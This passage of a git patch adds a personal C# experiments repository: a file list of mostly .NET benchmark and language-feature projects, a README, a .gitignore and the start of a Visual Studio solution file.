From 6d5a78c9c654aeb0958f33922baaab95f4f6b7d5 Mon Sep 17 00:00:00 2001 From: Oliver Booth Date: Sat, 4 May 2024 21:15:05 +0100 Subject: [PATCH] feat: initial commit --- README.md | 7 + csharp/.gitignore | 37 ++ csharp/CSharpExperiments.sln | 442 +++++++++++++++++ .../CSharpExperiments.csproj | 10 + csharp/CSharpExperiments/Program.cs | 3 + .../E001-BigOLoopBenchmarks.csproj | 15 + csharp/E001-BigOLoopBenchmarks/Program.cs | 36 ++ .../DiscordUriParserBenchmarks.cs | 18 + .../E002-DiscordUriParser/DiscordUrlParser.cs | 79 ++++ .../E002-DiscordUriParser.csproj | 15 + csharp/E002-DiscordUriParser/Program.cs | 5 + .../E003-CharBenchmarks.csproj | 15 + csharp/E003-CharBenchmarks/Program.cs | 20 + .../E004-SwapBenchmarks.csproj | 15 + csharp/E004-SwapBenchmarks/Program.cs | 47 ++ .../E005-RegexCompiledBenchmarks.csproj | 15 + .../E005-RegexCompiledBenchmarks/Program.cs | 26 + .../E006-ConcatBenchmarks.csproj | 14 + csharp/E006-ConcatBenchmarks/Program.cs | 51 ++ ...007-ConcatVsStringBuilderBenchmarks.csproj | 14 + .../Program.cs | 41 ++ ...E008-X10D_ToGetParametersBenchmarks.csproj | 15 + .../Program.cs | 50 ++ .../E009-TimeSpanParser.csproj | 15 + csharp/E009-TimeSpanParser/Program.cs | 69 +++ csharp/E010-ThreadTest/E010-ThreadTest.csproj | 11 + csharp/E010-ThreadTest/Program.cs | 20 + .../E011-SpacedIntBenchmarks.csproj | 15 + csharp/E011-SpacedIntBenchmarks/Program.cs | 36 ++ .../E012-SourceGeneratorDummy.csproj | 11 + csharp/E012-SourceGeneratorDummy/Program.cs | 53 +++ .../StringBuilderReader.cs | 117 +++++ .../E013-ServerClient.csproj | 11 + csharp/E013-ServerClient/Program.cs | 66 +++ .../E014-RemoveAllBenchmarks.csproj | 15 + csharp/E014-RemoveAllBenchmarks/Program.cs | 43 ++ .../E015-RegexVsCustomAttributeParser.csproj | 15 + .../Program.cs | 69 +++ .../RegexVsCustomAttributeParser.cs | 116 +++++ .../RegexVsCustomParserTest.cs | 12 + .../E016-ProtoBufExtendedModel.csproj | 15 + .../ExtendedSaveData.cs | 11 + csharp/E016-ProtoBufExtendedModel/Program.cs | 52 ++ csharp/E016-ProtoBufExtendedModel/SaveData.cs | 9 + .../E017-PowVsManualSquareBenchmarks.csproj | 15 + .../Program.cs | 40 ++ .../E018-OneLineMultiAssignment.csproj | 11 + csharp/E018-OneLineMultiAssignment/Program.cs | 5 + .../E019-NullStringTest.csproj | 11 + csharp/E019-NullStringTest/Program.cs | 16 + .../E020-NestedStructPointer.csproj | 12 + csharp/E020-NestedStructPointer/Program.cs | 31 ++ .../E021-Nearest5MinuteDateTime.csproj | 11 + csharp/E021-Nearest5MinuteDateTime/Program.cs | 6 + .../E022-ModifyReadonly.csproj | 12 + csharp/E022-ModifyReadonly/Program.cs | 22 + .../E023-MathEstimateBenchmarks.csproj | 15 + csharp/E023-MathEstimateBenchmarks/Program.cs | 20 + csharp/E024-Foreach/E024-Foreach.csproj | 11 + csharp/E024-Foreach/Program.cs | 16 + .../E025-FirstOrDefaultStruct.csproj | 11 + csharp/E025-FirstOrDefaultStruct/Program.cs | 10 + .../E026-DictionaryBenchmarks.csproj | 15 + csharp/E026-DictionaryBenchmarks/Program.cs | 27 ++ .../E027-ConfigurationBenchmarks.csproj | 17 + .../E027-ConfigurationBenchmarks/Program.cs | 41 ++ .../E028-ClassMemoryAddress.csproj | 12 + csharp/E028-ClassMemoryAddress/Program.cs | 12 + .../CircularShiftingInt.cs | 49 ++ .../E029-CircularBitShift.csproj | 11 + csharp/E029-CircularBitShift/Program.cs | 6 + csharp/E030-AsyncVoid/E030-AsyncVoid.csproj | 11 + csharp/E030-AsyncVoid/Program.cs | 16 + .../E031-ArrayVsEnumerable/ArrayExtensions.cs | 125 +++++ .../E031-ArrayVsEnumerable.csproj | 15 + csharp/E031-ArrayVsEnumerable/Program.cs | 33 ++ .../E032-BinaryFormatterExploit.csproj | 11 + csharp/E032-BinaryFormatterExploit/Program.cs | 3 + .../E033-EncryptionLocal.csproj | 11 + csharp/E033-EncryptionLocal/Program.cs | 74 +++ .../E034-EncryptionNetwork.csproj | 11 + csharp/E034-EncryptionNetwork/Program.Old.cs | 81 ++++ csharp/E034-EncryptionNetwork/Program.cs | 110 +++++ .../E035-Expressions/E035-Expressions.csproj | 11 + csharp/E035-Expressions/Program.cs | 14 + .../E036-NegateVsTimesMinus1Benchmarks.csproj | 15 + .../Program.cs | 20 + .../E037-FractionReduce.csproj | 11 + csharp/E037-FractionReduce/Program.cs | 16 + .../E038-RecursionBenchmarks.csproj | 15 + csharp/E038-RecursionBenchmarks/Program.cs | 55 +++ csharp/E039-UdpTest/E039-UdpTest.csproj | 11 + csharp/E039-UdpTest/Program.cs | 40 ++ .../E040-CleverUsing/E040-CleverUsing.csproj | 11 + csharp/E040-CleverUsing/Program.cs | 23 + .../E041-InheritanceTest.csproj | 11 + csharp/E041-InheritanceTest/Program.cs | 18 + .../E042-LinqBenchmarks.csproj | 15 + csharp/E042-LinqBenchmarks/Program.cs | 35 ++ .../E043-AllNumericExceptBenchmarks.csproj | 15 + .../Program.cs | 42 ++ .../E044-FiveFiveLetter.csproj | 11 + csharp/E044-FiveFiveLetter/Program.cs | 69 +++ .../E045-VerbosePunctuation.csproj | 11 + csharp/E045-VerbosePunctuation/Program.cs | 88 ++++ .../E046-DigitalRootBenchmarks.csproj | 15 + csharp/E046-DigitalRootBenchmarks/Program.cs | 69 +++ .../E047-DigitalRoot/E047-DigitalRoot.csproj | 11 + csharp/E047-DigitalRoot/Program.cs | 58 +++ .../E048-ColorClamping.csproj | 22 + csharp/E048-ColorClamping/Program.cs | 20 + csharp/E048-ColorClamping/bliss.png | Bin 0 -> 109857 bytes .../E049-CoordinateBenchmarks/Coordinates.cs | 445 ++++++++++++++++++ .../E049-CoordinateBenchmarks.csproj | 17 + .../OldCoordinates.cs | 210 +++++++++ csharp/E049-CoordinateBenchmarks/Program.cs | 20 + csharp/E050-CEF/AsyncContext.cs | 24 + csharp/E050-CEF/E050-CEF.csproj | 24 + csharp/E050-CEF/Program.cs | 72 +++ .../SingleThreadSynchronizationContext.cs | 26 + .../E051-LazyLinqTest.csproj | 11 + csharp/E051-LazyLinqTest/Program.cs | 15 + .../E052-LineCountBenchmarks.csproj | 15 + csharp/E052-LineCountBenchmarks/Options.cs | 16 + csharp/E052-LineCountBenchmarks/Program.cs | 133 ++++++ .../E053-InverseSqrtBenchmarks.csproj | 15 + csharp/E053-InverseSqrtBenchmarks/Program.cs | 35 ++ .../E054-DivisionBenchmarks.csproj | 15 + csharp/E054-DivisionBenchmarks/Program.cs | 37 ++ .../E055-ArrayVsSpanBenchmarks.csproj | 15 + csharp/E055-ArrayVsSpanBenchmarks/Program.cs | 22 + csharp/E056-UnsafeKata/E056-UnsafeKata.csproj | 11 + csharp/E056-UnsafeKata/Program.cs | 12 + .../E057-TypeRoulette.csproj | 11 + csharp/E057-TypeRoulette/Program.cs | 31 ++ .../E058-ToArrayVsAsReadOnlyBenchmarks.csproj | 15 + .../Program.cs | 59 +++ .../E059-RandomTypes/E059-RandomTypes.csproj | 11 + csharp/E059-RandomTypes/Program.cs | 11 + csharp/E059-RandomTypes/RandomType.cs | 44 ++ .../E060-PointerFuckery.csproj | 12 + csharp/E060-PointerFuckery/Program.cs | 20 + .../E061-LoopVsWhereBenchmarks.csproj | 15 + csharp/E061-LoopVsWhereBenchmarks/Program.cs | 102 ++++ .../E062-LoopVsCountBenchmarks.csproj | 15 + csharp/E062-LoopVsCountBenchmarks/Program.cs | 33 ++ .../E063-LinqVsNoLinqBenchmarks.csproj | 15 + csharp/E063-LinqVsNoLinqBenchmarks/Program.cs | 47 ++ .../E064-DynamicVsReflectionBenchmarks.csproj | 15 + .../Program.cs | 29 ++ .../E065-DiacriticBenchmarks.csproj | 15 + csharp/E065-DiacriticBenchmarks/Program.cs | 65 +++ .../E066-ArrayVsListBenchmarks.csproj | 15 + csharp/E066-ArrayVsListBenchmarks/Program.cs | 72 +++ .../E067-FacebookMathProblem.csproj | 11 + csharp/E067-FacebookMathProblem/Program.cs | 18 + .../E068-SseBenchmarks.csproj | 16 + csharp/E068-SseBenchmarks/Program.cs | 49 ++ .../E069-IntegerToDecimalBenchmarks.csproj | 15 + .../Program.cs | 29 ++ .../E070-TimeSpanConversionBenchmarks.csproj | 16 + .../Program.cs | 89 ++++ .../E071-Thev2AndySerializer.csproj | 15 + csharp/E071-Thev2AndySerializer/Program.cs | 147 ++++++ .../E072-StringBenchmarks.csproj | 15 + csharp/E072-StringBenchmarks/Program.cs | 15 + csharp/global.json | 7 + 167 files changed, 5773 insertions(+) create mode 100644 README.md create mode 100644 csharp/.gitignore create mode 100644 csharp/CSharpExperiments.sln create mode 100644 csharp/CSharpExperiments/CSharpExperiments.csproj create mode 100644 csharp/CSharpExperiments/Program.cs create mode 100644 csharp/E001-BigOLoopBenchmarks/E001-BigOLoopBenchmarks.csproj create mode 100644 csharp/E001-BigOLoopBenchmarks/Program.cs create mode 100644 csharp/E002-DiscordUriParser/DiscordUriParserBenchmarks.cs create mode 100644 csharp/E002-DiscordUriParser/DiscordUrlParser.cs create mode 100644 csharp/E002-DiscordUriParser/E002-DiscordUriParser.csproj create mode 100644 csharp/E002-DiscordUriParser/Program.cs create mode 100644 csharp/E003-CharBenchmarks/E003-CharBenchmarks.csproj create mode 100644 csharp/E003-CharBenchmarks/Program.cs create mode 100644 csharp/E004-SwapBenchmarks/E004-SwapBenchmarks.csproj create mode 100644 csharp/E004-SwapBenchmarks/Program.cs create mode 100644 csharp/E005-RegexCompiledBenchmarks/E005-RegexCompiledBenchmarks.csproj create mode 100644 csharp/E005-RegexCompiledBenchmarks/Program.cs create mode 100644 csharp/E006-ConcatBenchmarks/E006-ConcatBenchmarks.csproj create mode 100644 csharp/E006-ConcatBenchmarks/Program.cs create mode 100644 csharp/E007-ConcatVsStringBuilderBenchmarks/E007-ConcatVsStringBuilderBenchmarks.csproj create mode 100644 csharp/E007-ConcatVsStringBuilderBenchmarks/Program.cs create mode 100644 csharp/E008-X10D_ToGetParametersBenchmarks/E008-X10D_ToGetParametersBenchmarks.csproj create mode 100644 csharp/E008-X10D_ToGetParametersBenchmarks/Program.cs create mode 100644 csharp/E009-TimeSpanParser/E009-TimeSpanParser.csproj create mode 100644 csharp/E009-TimeSpanParser/Program.cs create mode 100644 csharp/E010-ThreadTest/E010-ThreadTest.csproj create mode 100644 csharp/E010-ThreadTest/Program.cs create mode 100644 csharp/E011-SpacedIntBenchmarks/E011-SpacedIntBenchmarks.csproj create mode 100644 csharp/E011-SpacedIntBenchmarks/Program.cs create mode 100644 csharp/E012-SourceGeneratorDummy/E012-SourceGeneratorDummy.csproj create mode 100644 csharp/E012-SourceGeneratorDummy/Program.cs create mode 100644 csharp/E012-SourceGeneratorDummy/StringBuilderReader.cs create mode 100644 csharp/E013-ServerClient/E013-ServerClient.csproj create mode 100644 csharp/E013-ServerClient/Program.cs create mode 100644 csharp/E014-RemoveAllBenchmarks/E014-RemoveAllBenchmarks.csproj create mode 100644 csharp/E014-RemoveAllBenchmarks/Program.cs create mode 100644 csharp/E015-RegexVsCustomAttributeParser/E015-RegexVsCustomAttributeParser.csproj create mode 100644 csharp/E015-RegexVsCustomAttributeParser/Program.cs create mode 100644 csharp/E015-RegexVsCustomAttributeParser/RegexVsCustomAttributeParser.cs create mode 100644 csharp/E015-RegexVsCustomAttributeParser/RegexVsCustomParserTest.cs create mode 100644 csharp/E016-ProtoBufExtendedModel/E016-ProtoBufExtendedModel.csproj create mode 100644 csharp/E016-ProtoBufExtendedModel/ExtendedSaveData.cs create mode 100644 csharp/E016-ProtoBufExtendedModel/Program.cs create mode 100644 csharp/E016-ProtoBufExtendedModel/SaveData.cs create mode 100644 csharp/E017-PowVsManualSquareBenchmarks/E017-PowVsManualSquareBenchmarks.csproj create mode 100644 csharp/E017-PowVsManualSquareBenchmarks/Program.cs create mode 100644 csharp/E018-OneLineMultiAssignment/E018-OneLineMultiAssignment.csproj create mode 100644 csharp/E018-OneLineMultiAssignment/Program.cs create mode 100644 csharp/E019-NullStringTest/E019-NullStringTest.csproj create mode 100644 csharp/E019-NullStringTest/Program.cs create mode 100644 csharp/E020-NestedStructPointer/E020-NestedStructPointer.csproj create mode 100644 csharp/E020-NestedStructPointer/Program.cs create mode 100644 csharp/E021-Nearest5MinuteDateTime/E021-Nearest5MinuteDateTime.csproj create mode 100644 csharp/E021-Nearest5MinuteDateTime/Program.cs create mode 100644 csharp/E022-ModifyReadonly/E022-ModifyReadonly.csproj create mode 100644 csharp/E022-ModifyReadonly/Program.cs create mode 100644 csharp/E023-MathEstimateBenchmarks/E023-MathEstimateBenchmarks.csproj create mode 100644 csharp/E023-MathEstimateBenchmarks/Program.cs create mode 100644 csharp/E024-Foreach/E024-Foreach.csproj create mode 100644 csharp/E024-Foreach/Program.cs create mode 100644 csharp/E025-FirstOrDefaultStruct/E025-FirstOrDefaultStruct.csproj create mode 100644 csharp/E025-FirstOrDefaultStruct/Program.cs create mode 100644 csharp/E026-DictionaryBenchmarks/E026-DictionaryBenchmarks.csproj create mode 100644 csharp/E026-DictionaryBenchmarks/Program.cs create mode 100644 csharp/E027-ConfigurationBenchmarks/E027-ConfigurationBenchmarks.csproj create mode 100644 csharp/E027-ConfigurationBenchmarks/Program.cs create mode 100644 csharp/E028-ClassMemoryAddress/E028-ClassMemoryAddress.csproj create mode 100644 csharp/E028-ClassMemoryAddress/Program.cs create mode 100644 csharp/E029-CircularBitShift/CircularShiftingInt.cs create mode 100644 csharp/E029-CircularBitShift/E029-CircularBitShift.csproj create mode 100644 csharp/E029-CircularBitShift/Program.cs create mode 100644 csharp/E030-AsyncVoid/E030-AsyncVoid.csproj create mode 100644 csharp/E030-AsyncVoid/Program.cs create mode 100644 csharp/E031-ArrayVsEnumerable/ArrayExtensions.cs create mode 100644 csharp/E031-ArrayVsEnumerable/E031-ArrayVsEnumerable.csproj create mode 100644 csharp/E031-ArrayVsEnumerable/Program.cs create mode 100644 csharp/E032-BinaryFormatterExploit/E032-BinaryFormatterExploit.csproj create mode 100644 csharp/E032-BinaryFormatterExploit/Program.cs create mode 100644 csharp/E033-EncryptionLocal/E033-EncryptionLocal.csproj create mode 100644 csharp/E033-EncryptionLocal/Program.cs create mode 100644 csharp/E034-EncryptionNetwork/E034-EncryptionNetwork.csproj create mode 100644 csharp/E034-EncryptionNetwork/Program.Old.cs create mode 100644 csharp/E034-EncryptionNetwork/Program.cs create mode 100644 csharp/E035-Expressions/E035-Expressions.csproj create mode 100644 csharp/E035-Expressions/Program.cs create mode 100644 csharp/E036-NegateVsTimesMinus1Benchmarks/E036-NegateVsTimesMinus1Benchmarks.csproj create mode 100644 csharp/E036-NegateVsTimesMinus1Benchmarks/Program.cs create mode 100644 csharp/E037-FractionReduce/E037-FractionReduce.csproj create mode 100644 csharp/E037-FractionReduce/Program.cs create mode 100644 csharp/E038-RecursionBenchmarks/E038-RecursionBenchmarks.csproj create mode 100644 csharp/E038-RecursionBenchmarks/Program.cs create mode 100644 csharp/E039-UdpTest/E039-UdpTest.csproj create mode 100644 csharp/E039-UdpTest/Program.cs create mode 100644 csharp/E040-CleverUsing/E040-CleverUsing.csproj create mode 100644 csharp/E040-CleverUsing/Program.cs create mode 100644 csharp/E041-InheritanceTest/E041-InheritanceTest.csproj create mode 100644 csharp/E041-InheritanceTest/Program.cs create mode 100644 csharp/E042-LinqBenchmarks/E042-LinqBenchmarks.csproj create mode 100644 csharp/E042-LinqBenchmarks/Program.cs create mode 100644 csharp/E043-AllNumericExceptBenchmarks/E043-AllNumericExceptBenchmarks.csproj create mode 100644 csharp/E043-AllNumericExceptBenchmarks/Program.cs create mode 100644 csharp/E044-FiveFiveLetter/E044-FiveFiveLetter.csproj create mode 100644 csharp/E044-FiveFiveLetter/Program.cs create mode 100644 csharp/E045-VerbosePunctuation/E045-VerbosePunctuation.csproj create mode 100644 csharp/E045-VerbosePunctuation/Program.cs create mode 100644 csharp/E046-DigitalRootBenchmarks/E046-DigitalRootBenchmarks.csproj create mode 100644 csharp/E046-DigitalRootBenchmarks/Program.cs create mode 100644 csharp/E047-DigitalRoot/E047-DigitalRoot.csproj create mode 100644 csharp/E047-DigitalRoot/Program.cs create mode 100644 csharp/E048-ColorClamping/E048-ColorClamping.csproj create mode 100644 csharp/E048-ColorClamping/Program.cs create mode 100644 csharp/E048-ColorClamping/bliss.png create mode 100644 csharp/E049-CoordinateBenchmarks/Coordinates.cs create mode 100644 csharp/E049-CoordinateBenchmarks/E049-CoordinateBenchmarks.csproj create mode 100644 csharp/E049-CoordinateBenchmarks/OldCoordinates.cs create mode 100644 csharp/E049-CoordinateBenchmarks/Program.cs create mode 100644 csharp/E050-CEF/AsyncContext.cs create mode 100644 csharp/E050-CEF/E050-CEF.csproj create mode 100644 csharp/E050-CEF/Program.cs create mode 100644 csharp/E050-CEF/SingleThreadSynchronizationContext.cs create mode 100644 csharp/E051-LazyLinqTest/E051-LazyLinqTest.csproj create mode 100644 csharp/E051-LazyLinqTest/Program.cs create mode 100644 csharp/E052-LineCountBenchmarks/E052-LineCountBenchmarks.csproj create mode 100644 csharp/E052-LineCountBenchmarks/Options.cs create mode 100644 csharp/E052-LineCountBenchmarks/Program.cs create mode 100644 csharp/E053-InverseSqrtBenchmarks/E053-InverseSqrtBenchmarks.csproj create mode 100644 csharp/E053-InverseSqrtBenchmarks/Program.cs create mode 100644 csharp/E054-DivisionBenchmarks/E054-DivisionBenchmarks.csproj create mode 100644 csharp/E054-DivisionBenchmarks/Program.cs create mode 100644 csharp/E055-ArrayVsSpanBenchmarks/E055-ArrayVsSpanBenchmarks.csproj create mode 100644 csharp/E055-ArrayVsSpanBenchmarks/Program.cs create mode 100644 csharp/E056-UnsafeKata/E056-UnsafeKata.csproj create mode 100644 csharp/E056-UnsafeKata/Program.cs create mode 100644 csharp/E057-TypeRoulette/E057-TypeRoulette.csproj create mode 100644 csharp/E057-TypeRoulette/Program.cs create mode 100644 csharp/E058-ToArrayVsAsReadOnlyBenchmarks/E058-ToArrayVsAsReadOnlyBenchmarks.csproj create mode 100644 csharp/E058-ToArrayVsAsReadOnlyBenchmarks/Program.cs create mode 100644 csharp/E059-RandomTypes/E059-RandomTypes.csproj create mode 100644 csharp/E059-RandomTypes/Program.cs create mode 100644 csharp/E059-RandomTypes/RandomType.cs create mode 100644 csharp/E060-PointerFuckery/E060-PointerFuckery.csproj create mode 100644 csharp/E060-PointerFuckery/Program.cs create mode 100644 csharp/E061-LoopVsWhereBenchmarks/E061-LoopVsWhereBenchmarks.csproj create mode 100644 csharp/E061-LoopVsWhereBenchmarks/Program.cs create mode 100644 csharp/E062-LoopVsCountBenchmarks/E062-LoopVsCountBenchmarks.csproj create mode 100644 csharp/E062-LoopVsCountBenchmarks/Program.cs create mode 100644 csharp/E063-LinqVsNoLinqBenchmarks/E063-LinqVsNoLinqBenchmarks.csproj create mode 100644 csharp/E063-LinqVsNoLinqBenchmarks/Program.cs create mode 100644 csharp/E064-DynamicVsReflectionBenchmarks/E064-DynamicVsReflectionBenchmarks.csproj create mode 100644 csharp/E064-DynamicVsReflectionBenchmarks/Program.cs create mode 100644 csharp/E065-DiacriticBenchmarks/E065-DiacriticBenchmarks.csproj create mode 100644 csharp/E065-DiacriticBenchmarks/Program.cs create mode 100644 csharp/E066-ArrayVsListBenchmarks/E066-ArrayVsListBenchmarks.csproj create mode 100644 csharp/E066-ArrayVsListBenchmarks/Program.cs create mode 100644 csharp/E067-FacebookMathProblem/E067-FacebookMathProblem.csproj create mode 100644 csharp/E067-FacebookMathProblem/Program.cs create mode 100644 csharp/E068-SseBenchmarks/E068-SseBenchmarks.csproj create mode 100644 csharp/E068-SseBenchmarks/Program.cs create mode 100644 csharp/E069-IntegerToDecimalBenchmarks/E069-IntegerToDecimalBenchmarks.csproj create mode 100644 csharp/E069-IntegerToDecimalBenchmarks/Program.cs create mode 100644 csharp/E070-TimeSpanConversionBenchmarks/E070-TimeSpanConversionBenchmarks.csproj create mode 100644 csharp/E070-TimeSpanConversionBenchmarks/Program.cs create mode 100644 csharp/E071-Thev2AndySerializer/E071-Thev2AndySerializer.csproj create mode 100644 csharp/E071-Thev2AndySerializer/Program.cs create mode 100644 csharp/E072-StringBenchmarks/E072-StringBenchmarks.csproj create mode 100644 csharp/E072-StringBenchmarks/Program.cs create mode 100644 csharp/global.json diff --git a/README.md b/README.md new file mode 100644 index 0000000..6faebce --- /dev/null +++ b/README.md @@ -0,0 +1,7 @@ +# Experiments + +This repository contains various experiments and prototypes that I've developed over time. These generally entail nothing more than a ton of benchmarks, and a few various tests of language and framework features, and for the most part are not really usable in any way. + +Alas, I've made this repository open source and added any and all "fuck around and find out" projects I've written over the years. Maybe it'll help people learn something new. + +All the experiments have been rewritten for .NET 8 with C# 12 language features, so they should compile and run on the latest version of Roslyn. Have fun! diff --git a/csharp/.gitignore b/csharp/.gitignore new file mode 100644 index 0000000..a437a65 --- /dev/null +++ b/csharp/.gitignore @@ -0,0 +1,37 @@ +*.swp +*.*~ +project.lock.json +.DS_Store +*.pyc +nupkg/ + +# Visual Studio Code +.vscode + +# Rider +.idea + +# User-specific files +*.suo +*.user +*.userosscache +*.sln.docstates + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +build/ +bld/ +[Bb]in/ +[Oo]bj/ +[Oo]ut/ +msbuild.log +msbuild.err +msbuild.wrn + +# Visual Studio 2015 +.vs/ diff --git a/csharp/CSharpExperiments.sln b/csharp/CSharpExperiments.sln new file mode 100644 index 0000000..c5eaf89 --- /dev/null +++ b/csharp/CSharpExperiments.sln @@ -0,0 +1,442 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E061-LoopVsWhereBenchmarks", "E061-LoopVsWhereBenchmarks\E061-LoopVsWhereBenchmarks.csproj", "{22AEFFC8-2907-4836-9E32-225AA4CE1E98}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E025-FirstOrDefaultStruct", "E025-FirstOrDefaultStruct\E025-FirstOrDefaultStruct.csproj", "{43814C2B-541F-40EA-8EB9-7C594AADB43A}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E033-EncryptionLocal", "E033-EncryptionLocal\E033-EncryptionLocal.csproj", "{AC944BBF-6BBF-48BB-9353-3D83127D0AA2}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E066-ArrayVsListBenchmarks", "E066-ArrayVsListBenchmarks\E066-ArrayVsListBenchmarks.csproj", "{53F8D539-5076-4E4A-9455-A7B97C4854C4}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E031-ArrayVsEnumerable", "E031-ArrayVsEnumerable\E031-ArrayVsEnumerable.csproj", "{3D4F0B68-B569-4753-B0C7-D7B30973A358}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E055-ArrayVsSpanBenchmarks", "E055-ArrayVsSpanBenchmarks\E055-ArrayVsSpanBenchmarks.csproj", "{5B080504-C0BB-476E-8A0C-2E3AA3A9466B}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E030-AsyncVoid", "E030-AsyncVoid\E030-AsyncVoid.csproj", "{EA52F387-8BB9-4FF8-A736-6DF125B3CF58}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E001-BigOLoopBenchmarks", "E001-BigOLoopBenchmarks\E001-BigOLoopBenchmarks.csproj", "{102E8F58-523E-491C-8984-5A22A614CCFE}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E002-DiscordUriParser", "E002-DiscordUriParser\E002-DiscordUriParser.csproj", "{595AB54B-38CC-4E35-887D-61E46E13C398}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E003-CharBenchmarks", "E003-CharBenchmarks\E003-CharBenchmarks.csproj", "{949554A1-B8CD-4D8E-93BF-EEEA4E832997}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E004-SwapBenchmarks", "E004-SwapBenchmarks\E004-SwapBenchmarks.csproj", "{22122BD2-E499-46A7-88B0-5B460998551B}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E005-RegexCompiledBenchmarks", "E005-RegexCompiledBenchmarks\E005-RegexCompiledBenchmarks.csproj", "{E43955C3-05B3-4D32-A7E3-F0D0D05FB436}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E006-ConcatBenchmarks", "E006-ConcatBenchmarks\E006-ConcatBenchmarks.csproj", "{ED01E38C-83FD-487D-BE4E-94F39CFCF356}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E007-ConcatVsStringBuilderBenchmarks", "E007-ConcatVsStringBuilderBenchmarks\E007-ConcatVsStringBuilderBenchmarks.csproj", "{FF23B75C-4AD7-40E1-A72A-715CFED4FC10}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E008-X10D_ToGetParametersBenchmarks", "E008-X10D_ToGetParametersBenchmarks\E008-X10D_ToGetParametersBenchmarks.csproj", "{F2452AF6-A992-41D4-8C21-EC737A80DB7E}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E009-TimeSpanParser", "E009-TimeSpanParser\E009-TimeSpanParser.csproj", "{DF605BC9-CD3A-4DC0-84D4-F87379B295F6}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E010-ThreadTest", "E010-ThreadTest\E010-ThreadTest.csproj", "{55A8F85F-A740-4710-98F4-DA6E13818176}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E011-SpacedIntBenchmarks", "E011-SpacedIntBenchmarks\E011-SpacedIntBenchmarks.csproj", "{1EF789A6-8957-4E32-BB4C-D68DCE0CD1FE}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E012-SourceGeneratorDummy", "E012-SourceGeneratorDummy\E012-SourceGeneratorDummy.csproj", "{DCFA6E58-68BA-4745-9574-F58DDCFEB20D}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E013-ServerClient", "E013-ServerClient\E013-ServerClient.csproj", "{C31ED1D1-7FC7-48BC-8CED-DCD5BD04155C}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E014-RemoveAllBenchmarks", "E014-RemoveAllBenchmarks\E014-RemoveAllBenchmarks.csproj", "{F2371518-6DA1-40B8-9C97-53322C57ABF0}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E015-RegexVsCustomAttributeParser", "E015-RegexVsCustomAttributeParser\E015-RegexVsCustomAttributeParser.csproj", "{036B030C-5CB7-49C7-9F14-A986BF6A0CEF}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E016-ProtoBufExtendedModel", "E016-ProtoBufExtendedModel\E016-ProtoBufExtendedModel.csproj", "{8707E46F-1246-41E6-8728-C78B8D161994}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E017-PowVsManualSquareBenchmarks", "E017-PowVsManualSquareBenchmarks\E017-PowVsManualSquareBenchmarks.csproj", "{2882913B-7382-4F6D-82BA-CDDFF5095449}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E018-OneLineMultiAssignment", "E018-OneLineMultiAssignment\E018-OneLineMultiAssignment.csproj", "{834A33D0-C8AA-435A-A631-5ECC33097E17}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E019-NullStringTest", "E019-NullStringTest\E019-NullStringTest.csproj", "{EB83B114-CC77-43AC-8633-A8E668B1A049}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E020-NestedStructPointer", "E020-NestedStructPointer\E020-NestedStructPointer.csproj", "{C37A707F-EFF7-4CE2-BB57-1BA6CD841BD0}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E021-Nearest5MinuteDateTime", "E021-Nearest5MinuteDateTime\E021-Nearest5MinuteDateTime.csproj", "{4DBCBCD3-6831-47A6-BAD1-D49DA61E3280}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E022-ModifyReadonly", "E022-ModifyReadonly\E022-ModifyReadonly.csproj", "{0166ACDD-5963-4399-84C1-384D852D2728}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E023-MathEstimateBenchmarks", "E023-MathEstimateBenchmarks\E023-MathEstimateBenchmarks.csproj", "{6882C767-63CB-4387-AD13-0C59471CA759}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E024-Foreach", "E024-Foreach\E024-Foreach.csproj", "{FD9C7858-BA0F-43A5-A981-79716BD8F331}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E026-DictionaryBenchmarks", "E026-DictionaryBenchmarks\E026-DictionaryBenchmarks.csproj", 